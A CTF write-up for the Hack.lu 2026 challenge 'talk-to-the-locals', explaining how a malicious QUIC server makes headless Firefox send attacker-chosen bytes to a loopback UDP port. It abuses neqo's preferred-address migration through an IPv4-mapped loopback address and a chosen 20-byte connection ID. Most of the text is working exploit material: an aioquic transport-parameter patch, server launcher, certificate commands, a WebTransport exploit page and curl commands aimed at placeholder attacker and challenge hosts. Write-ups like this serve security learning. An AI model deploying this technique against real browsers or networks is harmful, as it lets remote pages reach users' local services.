$ cat writeup.md…
$ cat writeup.md…
Hack.lu CTF 2026
Task: Headless Firefox must send an exact line to a loopback UDP listener despite having no content-accessible raw UDP API. Solution: Abuse neqo preferred-address migration, an IPv4-mapped loopback, and a chosen QUIC CID; repeat WebTransport sessions until the first byte matches.
Organizer handout v2: https://cdn.flu.xxx/assets/challenges/1-9XSPXsGGAQ14Oipo/talk-to-the-locals_v2.zip
English summary: a Go service opens an attacker-supplied URL in stock headless Firefox. A UDP listener on 127.0.0.1:6767 unlocks GET /flag only after receiving a datagram whose first line is exactly give me the flag bro.
POST /visit accepts an HTTP(S) URL and runs firefox --headless <url>. The UDP server passes each received datagram to:
func getLine(r io.Reader) string { line, _ := bufio.NewReader(r).ReadString('\n') return strings.TrimRight(line, "\n") }
It then compares the returned line with give me the flag bro. Therefore, a convenient winning datagram starts with these 21 bytes:
give me the flag bro\n
Anything after that newline is irrelevant. Firefox content has no usable raw UDP socket API in this build. WebRTC is also a dead end for this check: loopback ICE destinations are filtered, and STUN, TURN, DTLS, and RTP place protocol headers before attacker data.
The useful browser feature is WebTransport over HTTP/3, available from a secure context and implemented by Firefox's neqo QUIC stack.
The relevant neqo behavior is in third_party/rust/neqo-transport/src/connection/mod.rs:
HANDSHAKE_DONE by calling migrate_to_preferred_address() (around line 3554 in the examined source).migrate_to_preferred_address() (around line 2192) reads the server's preferred_address transport parameter.remote.ip().is_loopback() is true.Rust's Ipv6Addr::is_loopback() recognizes ::1, but not the IPv4-mapped address ::ffff:127.0.0.1. Consequently, neqo accepts this preferred address and migrates to IPv4-mapped loopback even though packets are delivered to 127.0.0.1:6767.
This also explains the initial WebTransport URL: using an IPv4-mapped IPv6 literal makes the current neqo path IPv6, so neqo selects the transport parameter's IPv6 field. The attacker server itself only needs public IPv4 connectivity; public IPv6 is unnecessary.
The preferred_address decoder in tparams.rs accepts a nonempty connection ID up to ConnectionId::MAX_LEN, which is 20 bytes (cid.rs). During migration, neqo installs this server-provided CID and uses it as the remote destination connection ID on the new path. Path validation then emits short-header PATH_CHALLENGE probes to the preferred address.
Set the preferred-address CID to the maximum-length value:
CID = b"ive me the flag bro\n" assert len(CID) == 20
A migrated short-header datagram consequently starts as follows:
byte 0 one protected short-header byte bytes 1..20 69 76 65 20 6d 65 20 74 68 65 20 66 6c 61 67 20 62 72 6f 0a i v e m e t h e f l a g b r o \n
If byte 0 is 0x67 (g), the datagram begins:
67 69 76 65 20 6d 65 20 74 68 65 20 66 6c 61 67 20 62 72 6f 0a g i v e m e t h e f l a g b r o \n
That is exactly give me the flag bro\n at offset zero. Short-header spin-bit randomization and header protection make the on-wire first byte variable across the short-header range 0x40–0x7f for these probes. Approximately 1 in 64 probes has the required 0x67, so the exploit is probabilistic. Forty parallel WebTransport sessions generate enough migration probes to succeed quickly and reliably.
Relevant packet-building code is in packet/mod.rs: Builder::short, scramble, pn, and build (including application of the header-protection mask).
Run an aioquic HTTP/3 server on a public host with UDP port 4433 reachable. Serve the exploit JavaScript from a separate, normal HTTPS origin. Use this WebTransport endpoint in the page:
https://[::ffff:ATTACKER_PUBLIC_IPV4]:4433/wt
The mapped literal is intentional: it selects neqo's IPv6 preferred-address path while still connecting to an IPv4-only public server.
For WebTransport certificate-hash authentication, use a self-signed ECDSA P-256 certificate valid for less than two weeks. RSA certificates were not accepted for this authentication mode in testing, including a CA-signed RSA certificate. The exploit page itself still needs an ordinary secure HTTPS origin.
One way to create the certificate and calculate the SHA-256 hash of its full DER encoding is:
openssl req -x509 -nodes -newkey ec -pkeyopt ec_paramgen_curve:P-256 \ -keyout wtself_ec.key -out wtself_ec.pem -days 7 -subj "/CN=attacker" openssl x509 -in wtself_ec.pem -outform DER \ | openssl dgst -sha256 -binary | openssl base64 -A
Use the resulting Base64 string as CERT_DER_SHA256_BASE64 below.
Use aioquic's HTTP/3 example server, forcing QUIC v1 and enabling WebTransport:
from aioquic.h3.connection import H3_ALPN, H3Connection from aioquic.quic.configuration import QuicConfiguration from aioquic.quic.packet import QuicProtocolVersion configuration = QuicConfiguration( alpn_protocols=H3_ALPN, is_client=False, max_datagram_frame_size=65536, supported_versions=[QuicProtocolVersion.VERSION_1], ) # In the protocol's ProtocolNegotiated handler: self._http = H3Connection(self._quic, enable_webtransport=True)
Save the following as prefpatch.py. It wraps aioquic's transport-parameter serializer and adds the malicious server preferred_address before the handshake:
#!/usr/bin/env python3 import os import aioquic.quic.connection as qc import aioquic.quic.packet as qp from aioquic.quic.packet import QuicPreferredAddress PREF_CID = b"ive me the flag bro\n" assert len(PREF_CID) == 20 _original_push = qp.push_quic_transport_parameters def patched_push(buf, params): is_server = ( getattr(params, "stateless_reset_token", None) is not None and getattr(params, "original_destination_connection_id", None) is not None ) if is_server: # Match the tested aioquic serialization path. params.version_information = None params.quantum_readiness = None if getattr(params, "preferred_address", None) is None: params.preferred_address = QuicPreferredAddress( ipv4_address=None, ipv6_address=("::ffff:127.0.0.1", 6767), connection_id=PREF_CID, stateless_reset_token=os.urandom(16), ) return _original_push(buf, params) # Different aioquic modules may hold their own reference to the serializer. qp.push_quic_transport_parameters = patched_push qc.push_quic_transport_parameters = patched_push
The ASGI application only needs to accept each WebTransport CONNECT and keep it alive. Save this as demo.py:
async def app(scope, receive, send): if scope["type"] == "webtransport": await receive() # webtransport.connect await send({"type": "webtransport.accept"}) while True: message = await receive() if message["type"] == "webtransport.close": return elif scope["type"] == "http": await send({ "type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")], }) await send({"type": "http.response.body", "body": b"ok"})
Import the patch before running the server. For example, with the configured aioquic example saved as http3_server.py, use this run_server.py launcher:
#!/usr/bin/env python3 import runpy import sys import prefpatch # Activates the serializer patch. sys.argv = [ "http3_server.py", "demo:app", "--certificate", "wtself_ec.pem", "--private-key", "wtself_ec.key", "--host", "::", "--port", "4433", ] runpy.run_path("http3_server.py", run_name="__main__")
Start it with python3 run_server.py.
Replace both placeholders and serve this page from the HTTPS exploit origin:
<!doctype html> <meta charset="utf-8"> <script> const wt = "https://[::ffff:ATTACKER_PUBLIC_IPV4]:4433/wt"; const hash = "CERT_DER_SHA256_BASE64"; for (let i = 0; i < 40; i++) { setTimeout(() => { const t = new WebTransport(wt, { serverCertificateHashes: [{ algorithm: "sha-256", value: Uint8Array.from( atob(hash), c => c.charCodeAt(0) ).buffer }] }); window["t" + i] = t; // Retain the sessions and their QUIC connections. t.ready.catch(() => {}); t.closed.catch(() => {}); }, i * 25); } </script>
Each completed handshake receives HANDSHAKE_DONE, triggers preferred-address migration, and produces probes toward loopback. Retaining the objects keeps the sessions alive while the short-header first byte is sampled across many connections.
Submit the HTTPS exploit page to the challenge and poll the gated endpoint:
curl -sS -X POST \ --data-urlencode "url=https://ATTACKER_HTTPS_ORIGIN/remote.html" \ "https://CHALLENGE_INSTANCE/visit" for i in $(seq 1 10); do sleep 2 curl -sS "https://CHALLENGE_INSTANCE/flag" done
Before success, /flag returns HTTP 403. Once any migrated datagram starts with the required line, the service sets its process-wide won flag and /flag returns HTTP 200. If an unusually unlucky run does not succeed within the browser timeout, submit the page again.
Use this technique when:
preferred_address migration supplies both a destination-address primitive and a server-chosen CID of up to 20 bytes.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar